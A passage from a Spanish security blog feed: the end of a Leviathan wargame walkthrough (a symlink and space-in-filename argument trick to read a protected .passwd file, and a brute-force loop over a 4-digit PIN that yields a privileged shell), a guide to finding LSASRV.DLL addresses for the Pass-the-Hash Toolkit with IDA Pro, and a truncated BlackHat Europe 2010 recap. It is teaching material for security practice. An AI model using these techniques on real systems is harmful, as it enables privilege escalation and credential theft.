&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;ln -s /home/level7/.passwd symlink&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;echo PATATA &gt; "myfile symlink"&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;/wargame/printfile "myfile symlink"&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/bin/cat: myfile: No such file or directory&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;X98ZdPfp&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Contraseña Nivel7: X98ZdPfp
&lt;br /&gt;
&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-size:100%;"&gt;
&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Solución al Nivel 7&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Llegamos al séptimo y último nivel, en el que tenemos un binario "sphinx" del que, antes de nada, tendremos que averiguar que hace exactamente. Repitiendo los pasos que hemos realizado para resolver en los anteriores niveles, trazamos su ejecución a ver que nos encontramos:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./sphinx&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;usage: ./sphinx &lt;4&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./sphinx 1234&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Wrong&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;ltrace ./sphinx 1234&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;__libc_start_main(0x8048464, 2, 0xbffffac4, 0x8048550, 0x8048500 &lt;unfinished&gt;&lt;/unfinished&gt;&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;atoi(0xbffffbd3, 0x8049714, 0xbffffa28, 0x8048321, 0xbffffa50) = 1234&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;puts("Wrong"Wrong&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;)                                     = 6&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;+++ exited (status 6) +++&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Como podemos ver, no parece que el binario realice muchas llamadas, pero entre ellas sí que nos llama la atención una llamada a la función "atoi" ("ascii to integer"), con la que se convierte la cadena de texto que hemos introducido ("1234") a su entero correspondiente (1234). Probablemente la comparación con el PIN que nos va a permitir pasar este último nivel no se realiza como comparación de dos cadenas, sino como una simple comparación de dos enteros dentro de una sentencia "if", lo cual es un problema a la hora de realizar la traza, puesto que no se realiza ninguna llamada externa y por tanto no podemos averiguar con este método cual es el PIN secreto.
&lt;br /&gt;
&lt;br /&gt;La manera más inmediata de hacerlo sería desensamblar el binario y buscar exactamente que comparaciones hace tras llamar a "atoi", pero siento el PIN un número entero de 4 digítios tal y como se nos indica en el binario, casi que no merece la pena hacer ningún tipo de desensamblado, ya que podemos recorrer todas las posibles soluciones y comprobar sus resultados mediante un ataque de fuerza bruta en un tiempo muy acotado. En este caso, yo lo he hecho con este pequeño shellscript, aunque seguro que hay formas más eficientes de hacerlo:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;time for a in 0 1 2 3 4 5 6 7 8 9&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;do&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;for b in 0 1 2 3 4 5 6 7 8 9&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;do&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;for c in 0 1 2 3 4 5 6 7 8 9&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;do&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;for d in 0 1 2 3 4 5 6 7 8 9&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;do&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./sphinx $a$b$c$d | grep -i wrong &amp;amp;&gt;/dev/null&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;if [ $? -ne 0 ]&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;then&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;echo $a$b$c$d&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;fi&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;done&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;done&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;done&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;done&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;sh-3.1$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;exit&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;exit&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;7123&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;real    1m12.020s&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;user    0m3.768s&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;sys     1m4.100s&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;¡BINGO! Ya lo tenemos. La ejecución se ha quedado parada en la clave "7123", momento en el cual nos ha devuelto una shell, que hemos cerrado inmediatamente para ver cuanto tiempo nos ha costado realizar un ataque de fuerza bruta contra todos los posibles PINs. En este caso, como podemos ver, poco más de 1 minuto. Una vez que tenemos el PIN del binario ya solo tenemos que usarlo para conseguir la contraseña del último nivel:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./sphinx 7123&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;sh-3.1$&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;sh-3.1$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;id&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;uid=1006(level7) gid=1006(level7) euid=1007(level8) groups=1006(level7)&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;sh-3.1$&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;sh-3.1$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;cat /home/level8/.passwd&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;FsnC0xl7&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;Contraseña Nivel8: FsnC0xl7
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Una vez que llegamos al nivel 8 ya no existen más binarios, es el último nivel. Lo único que tenemos es un fichero de texto que nos da la enhorabuena por haber superado todos los niveles del reto:
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Jx-hAg65Epo/S9TVLSqk8GI/AAAAAAAAAX8/CuBjRRQ0NSA/s1600/001.png"&gt;&lt;img src="http://4.bp.blogspot.com/_Jx-hAg65Epo/S9TVLSqk8GI/AAAAAAAAAX8/CuBjRRQ0NSA/s400/001.png" alt="" id="BLOGGER_PHOTO_ID_5464226637872951394" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 151px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;¿Qué me decís?
&lt;br /&gt;¿Lo habeis probado?
&lt;br /&gt;¿Qué os ha parecido?
&lt;br /&gt;¿Alguna otra manera de resolver alguno de los retos?
&lt;br /&gt;
&lt;br /&gt;A mi personalmente me ha parecido un reto divertido, suficientemente divertido como para pegarle un ojo al resto de retos que hay en la misma web ;)
&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-6460116922798592451?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/04/leviathan-wargame.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_Jx-hAg65Epo/S9TUE-Fg_yI/AAAAAAAAAXs/xZgvjwdyC-0/s72-c/003.png" height="72" width="72" /><thr:total>31</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-1991041583229667057</guid><pubDate>Wed, 21 Apr 2010 05:32:00 +0000</pubDate><atom:updated>2010-04-21T07:40:07.181+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">TestDeIntrusion</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWindows</category><title>Pass-the-hash Toolkit &amp; IDA Pro</title><description>&lt;div style="text-align: justify;"&gt;Hace unas semanas &lt;a href="http://www.pentester.es/2010/03/windows-post-explotation-pass-hash.html"&gt;publicamos un post&lt;/a&gt; sobre la &lt;a href="http://www.pentester.es/2010/03/windows-post-explotation-pass-hash.html"&gt;presentación que hicimos en las Conferencias FIST de Barcelona&lt;/a&gt;, en las que explicamos técnicas de post-explotación en sistemas Windows, entre ellas las técnicas conocidas como Pass-the-Hash.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En ese post, se nos hizo un comentario sobre los argumentos con los que llamábamos a las diferentes herramientas que forman parte del &lt;a href="http://oss.coresecurity.com/projects/pshtoolkit.htm"&gt;&lt;b&gt;Pass-the-Hash Toolkit&lt;/b&gt;&lt;/a&gt;. A pesar de que la pregunta fue respondida brevemente en otro comentario, hemos considerado oportuno escribir otro post centrándonos en este Toolkit, sus diferentes herramientas, y de que forma podemos llamarlo para obtener de él los resultados esperados.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Entramos al trapo!:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El Pass-the-Hash Toolkit consta principalmente de 2 binarios/herramientas:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;&lt;b&gt;WHOSTHERE.EXE&lt;/b&gt;: Consulta en la memoria los hashes de los usuarios autenticados en el sistema. Muy útil para saber si estamos utilizando las direcciones de memoria correctas o si hemos cambiado el hash correctamente.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;b&gt;IAM.EXE&lt;/b&gt;: Sobreescribe en la memoria el hash de nuestro usuario actual por el hash al que queremos suplantar, lo cual nos convierte a todos los efectos en ese usuario de cara al resto de elementos de la red.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Ambas herramientas acceden a la memoria, concretamente a la librería LSASRV.DLL, para leer o escribir (respectivamente) la información relacionada con los usuarios autenticados y sus respectivos hashes. Esta información, sin embargo, no siempre está disponible en la misma dirección de memoria, ya que puede variar en función de la versión de Windows, Service Pack, etc.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para contrarrestar esta dificultad, el Pass-the-Hash Toolkit implementa un método heurístico con el que intenta buscar en la memoria estos elementos por si mismo. Sin embargo, se ha podido comprobar que dicha heurística no encuentra siempre correctamente estas direcciones. Por ello, &lt;a href="http://hexale.blogspot.com/"&gt;Hernán Ochoa&lt;/a&gt;, desarrollador de la herramienta, pone a nuestra disposición la opción "-h", con la que podemos pasarla a la herramienta de forma manual las direcciones de memoria adecuadas, con los que la herramienta nos proporciona la flexibilidad necesaria como para que pueda funcionar en cualquier tipo de sistema.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Durante la demo que hicimos en las Conferencias FIST de Barcelona, disponíamos de un dichero XPSpanish.txt en el que teníamos guardadas estas direcciones de memoria, que habíamos obtenido previamente:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;b&gt;75403BA0:753EFDEC:75480C98:75480CA0:7547FC60:7547FE54&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Estas mismas direcciones deberían ser válidas para cualquier sistema Windows XP SP3 en Español, pero por si queréis probarlas con otros idiomas, otro Service Pack, o cualquier caso, vamos a detallar como hemos obtenido estas direcciones.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En realidad, al contrario de lo que se pueda pensar, no vamos a tener que pegarnos con el ensamblador ni ser unos gurús del reversing para obtener estas direcciones, ya que &lt;a href="http://hexale.blogspot.com/"&gt;Hernán Ochoa&lt;/a&gt; ha creado para nosotros un "script" para IDA Pro (podéis &lt;a href="http://www.hex-rays.com/idapro/idadownfreeware.htm"&gt;descargaros la versión Free&lt;/a&gt;) que nos va a permitir obtener dichas direcciones de forma totalmente automática.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Dicho "script" lo podemos obtener únicamente de la &lt;a href="http://oss.coresecurity.com/pshtoolkit/release/1.4/pshtoolkit_v1.4-src.tgz"&gt;versión "source code" de la herramienta&lt;/a&gt;, por lo que deberemos descargarla a pesar de que no vayamos a modificar código fuente. Tras descomprimir el TGZ entraremos en el directorio "iam", y dentro de él en el directorio "idc", dentro del cual veremos que existe un dichero "&lt;b&gt;passthehash.idc&lt;/b&gt;". Los ficheros IDC contienen un código de scripting para IDA que nos permite automatizar algunas tareas.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ejecutamos la herramienta IDA Pro Free y lo primero que tenemos que hacer es cargar la librería LSASRV.DLL para análisis. Para ello seleccionamos "New" en la primera ventana que nos aparece y elegimos la opción "PE Dynamic Library", ya que lo que queremos desensamblar es una librería:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S86MUBMIReI/AAAAAAAAAXM/yq0GRBkq_sM/s1600/Imagen+1.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S86MUBMIReI/AAAAAAAAAXM/yq0GRBkq_sM/s400/Imagen+1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5462457673591571938" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 317px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Una vez hecho esto tendremos que elegir que librería queremos desensamblar. La librería que queremos nosotros está en C:\WINDOWS\SYSTEM32\lsasrv.dll :&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/S86NYOnaHXI/AAAAAAAAAXU/UX8nrNCsu4U/s1600/Imagen+2.png"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/S86NYOnaHXI/AAAAAAAAAXU/UX8nrNCsu4U/s400/Imagen+2.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5462458845426752882" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 297px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Tras seleccionar la librería, IDA nos dará varias opciones para afinar como queremos que haga el análisis. En realidad, es indiferente que elijamos para esta ocasión, podemos dejarlas todas por defecto o podemos desmarcarlas todas hasta llegar a una ventana en la que se nos pregunta si queremos cargar los símbolos del sistema. En esta ventana es importante que seleccionemos SI, ya que sino el IDC no va a funcionar correctamente. El binario se cargará en unos segundo y nos mostrará una ventana como esta:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/S86Niyr7wMI/AAAAAAAAAXc/-wd6z0gwyOg/s1600/Imagen+3.png"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/S86Niyr7wMI/AAAAAAAAAXc/-wd6z0gwyOg/s400/Imagen+3.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5462459026908102850" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 279px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ahora que ya tenemos la librería desensamblada solo tenemos que cargar el IDC dándole al menú "File" y eligiendo la opción "IDC File", con la que podremos buscar el fichero IDC que previamente habíamos obtenido (passthehash.idc). Instantáneamente tras cargar el script nos salen en la ventana inferior del IDA unas lineas que comienzan por "#define" de las que podemos sacar las direcciones que necesitamos:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S86O7PoEnFI/AAAAAAAAAXk/XnMwVmZ-4vc/s1600/Imagen+4.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S86O7PoEnFI/AAAAAAAAAXk/XnMwVmZ-4vc/s400/Imagen+4.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5462460546505022546" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 278px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Bueno, ya hemos obtenido las direcciones con las que podremos utilizar el Pass-the-Hash Toolkit sobre el sistema sobre el que hemos utilizado IDA o, en general, en cualquier sistema en general, aunque en cualquier caso se recomienda utilizar siempre primero whosthere.exe para comprobar que estamos usando las direcciones correctas, ya que iam.exe altera la memoria del proceso y podría provocar inestabilidad en el mismo si dichas direcciones no son correctas.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para más información sobre como utilizar Pass-The-Hash Toolkit os remitimos al &lt;a href="http://www.pentester.es/2010/03/windows-post-explotation-pass-hash.html"&gt;post que pusimos sobre las Conferencias FIST&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-1991041583229667057?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/04/pass-hash-toolkit-ida-pro.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_Jx-hAg65Epo/S86MUBMIReI/AAAAAAAAAXM/yq0GRBkq_sM/s72-c/Imagen+1.png" height="72" width="72" /><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-5623428706380133597</guid><pubDate>Mon, 19 Apr 2010 06:38:00 +0000</pubDate><atom:updated>2010-04-19T15:05:31.382+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">BlackHat</category><category domain="http://www.blogger.com/atom/ns#">Formacion</category><title>BlackHat Europe 2010 - Barcelona</title><description>&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.pentester.es/2010/04/blackhat-europe-2010-alla-vamos.html"&gt;Tal y como ya anunciamos&lt;/a&gt;, la semana pasada estuvimos por Barcelona los días 14 y 15 para asitir a la edición Europea de una de las conferencias de seguridad más conocidas del mundo: Las Conferencias &lt;span style="font-size:130%;"&gt;&lt;a style="font-weight: bold;" href="http://www.blackhat.com/"&gt;BlackHat&lt;/a&gt;&lt;/span&gt;.&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Jx-hAg65Epo/S8v1FTJF5uI/AAAAAAAAAWU/HYcGh6Id_I4/s1600/bh-eu10-head.png"&gt;&lt;img src="http://4.bp.blogspot.com/_Jx-hAg65Epo/S8v1FTJF5uI/AAAAAAAAAWU/HYcGh6Id_I4/s400/bh-eu10-head.png" alt="" id="BLOGGER_PHOTO_ID_5461728444503418594" style="text-align: left; display: block; margin: 0px auto 10px; cursor: pointer; width: 400px; height: 125px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La verdad es que las conferencias no me defraudaron en absoluto, desde el KeyNote inicial de &lt;span style="font-weight: bold;"&gt;Max Kelly&lt;/span&gt;, CSO de &lt;span style="font-weight: bold;"&gt;FaceBook&lt;/span&gt;, ya se huele la vertiente técnica que tanto nos apasiona en todo lo que rodea a las BlackHat. Para empezar, nos quedamos con una frase para el recuerdo de la presentación de Max Kelly que nos vais a permitir que pongamos en mayusculas y bien centradita:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;COMPLIANCE ISN'T SECURITY&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;(Cumplimiento no es Seguridad)&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Me encanta! Me hubiera gustado tener esta cita firmada por una persona de tanto peso hace tiempo para rebatir a algún que otro responsable que he tenido en el pasado. Seguro que más de uno también le hubiera venido bien :)&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/S8v1a5iOVvI/AAAAAAAAAWc/4uUOzjD3hmQ/s1600/IMAG0025.jpg"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/S8v1a5iOVvI/AAAAAAAAAWc/4uUOzjD3hmQ/s400/IMAG0025.jpg" alt="" id="BLOGGER_PHOTO_ID_5461728815586629362" style="text-align: center; float: left; margin: 0px 10px 10px 0px; cursor: pointer; width: 268px; height: 400px;" border="0" /&gt;&lt;/a&gt;Tras el KeyNote inicial nos encontramos ante la difícil decisión de elegir a que charlas vamos a asistir, ya que las tres salas simultaneas con su &lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-schedule.html"&gt;impresionante schedule de alto contenido técnico&lt;/a&gt; te dejan con las ganas de poderte "&lt;a href="http://es.wikipedia.org/wiki/Kuchiyose_no_jutsu#Kage_Bunshin_no_jutsu"&gt;desdoblar&lt;/a&gt;" y asistir a todas ellas. Si no somos capaces de hacer algo así no nos quedará más remedio que elegir con algún tipo de criterio. Si vas por tu cuenta nosotros recomendamos elegir aquellas que pienses que pueden resultarte más difíciles de entender y que por tanto te va a venir bien ver la explicación en directo y poder hacer preguntas (las otras, a mirar el paper). Si te ha mandado tu empresa seguramente llevarás un planning más o menos estricto de las conferencias que interesan más a tu empresa o a tu equipo, así que un quebradero de cabeza menos, ya que al final, vayas a lo que vayas, va a ser de altísima calidad.&lt;br /&gt;&lt;br /&gt;Pues vale, ya tenemos las conferencias a las que queremos asistir elegidas, así que llega el momento de ir arriba y abajo cambiando de sala, cruzandote con personas conocidas del mundo de la seguirdad como &lt;a href="http://www.securitybydefault.com/"&gt;Lorenzo Martinez&lt;/a&gt; de &lt;a href="http://www.securitybydefault.com/"&gt;SecurityByDefault&lt;/a&gt;, &lt;a href="http://elladodelmal.blogspot.com/"&gt;Chema Alonso&lt;/a&gt; (aka El Maligno), los &lt;a href="http://sexy.pandas.es/"&gt;Sexy Pandas&lt;/a&gt;, representación de &lt;a href="http://www.taddong.com/"&gt;Taddong&lt;/a&gt;, los chicos de &lt;a href="http://www.tb-security.es/"&gt;TB-Security&lt;/a&gt; y un largo etcetera.&lt;br /&gt;&lt;br /&gt;Esta fue, mejor o peor, nuestra elección, que pasamos a comentar de forma resumida por no hacer de este un post interminable:&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;"&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-briefings.html#Grand"&gt;&lt;span style="font-weight: bold;"&gt;Hardware is the New Software&lt;/span&gt;&lt;/a&gt;" (&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-speakerbios.html#Grand"&gt;Joe Grand&lt;/a&gt;): Hoy en día las empresas más importantes son plenamente conscientes (aunque a veces no lo parezca) del peligro que representa el software y los fallos asociados al mismo. De desarrollan herramientas y se dedican recursos a la auditoría de software. Pero... ¿qué pasa con el hardware? En esta charla Joe nos hizo ver lo descuidada que está la seguridad de dispositivos hardware, que al final no deja de ser lo mismo que el software solo que en dispositivos empotrados por medio de microcontroladores y circuitos, pero que igualmente se les puede realizar la ingeniería inversa y encontrar vulnerabilidades al igual que se realiza con sus equivalentes software. El equipo necesario, al contrario de lo que se pueda pensar, no resulta tan caro, lo cual abre la puerta a este mundo tan poco explorado y, por tanto, peligroso.  ¿Ejemplos? Cajeros automáticos, Tarjetas de Parking, Sistemas de Voto electrónico, ... !Atención empresas! &lt;a href="http://grandideastudio.com/wp-content/uploads/hardware_is_the_new_software_slides.pdf"&gt;Más información&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Jx-hAg65Epo/S8v2VE4MUJI/AAAAAAAAAWk/7-1xPoyF25A/s1600/Imagen+2.png"&gt;&lt;img src="http://2.bp.blogspot.com/_Jx-hAg65Epo/S8v2VE4MUJI/AAAAAAAAAWk/7-1xPoyF25A/s320/Imagen+2.png" alt="" id="BLOGGER_PHOTO_ID_5461729815063974034" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 240px;" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;li&gt;"&lt;a style="font-weight: bold;" href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-briefings.html#Tinnes"&gt;Security in depth for Linux Software&lt;/a&gt;" (&lt;a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-speakerbios.html#Tinnes"&gt;Julien Tinnes&lt;/a&gt; &amp;amp; &lt;a 